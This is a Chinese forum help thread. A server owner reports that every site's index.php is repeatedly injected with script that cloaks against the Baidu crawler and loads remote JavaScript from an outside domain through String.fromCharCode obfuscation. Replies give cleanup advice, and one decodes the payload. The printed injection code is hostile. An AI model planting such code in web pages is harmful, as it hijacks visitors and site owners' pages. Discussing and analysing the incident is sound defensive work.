首页
社区
课程
招聘
[求助]服务器好像被挂木马如何解决?
发表于: 2023-7-23 10:01 815

[求助]服务器好像被挂木马如何解决?

2023-7-23 10:01
815

隔两天晚上index.php每个网站的这个文件都会被木马修改一次,在开头加入如下代码,调到游戏网站:<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="发的刚发的"}</script>

<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>

不知道是木马在运行,还是有人隔一段时间,晚上通过我的漏洞来修改文件,目前不太清楚,用top命令也没有看到有啥异常的进程。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 2989
活跃值: (2605)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
chmod a-w index.php
检查服务器端口,尽量最小权限开放;
更换网站目录、nginx等看看还会不会被修改,慢慢排查原因;
如果用BT面板小小确实被挂马,检查nginx
2023-7-24 08:35
0
雪    币: 295
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
如果每隔两天都会被修改一次可以查看一下计划任务、网站日志
2023-7-24 09:03
0
雪    币: 9032
活跃值: (6250)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
翻译过来就是 
<script src="https://bd0917.com/bd.js"></script>
2023-7-24 13:44
0
游客
登录 | 注册 方可回帖
返回
//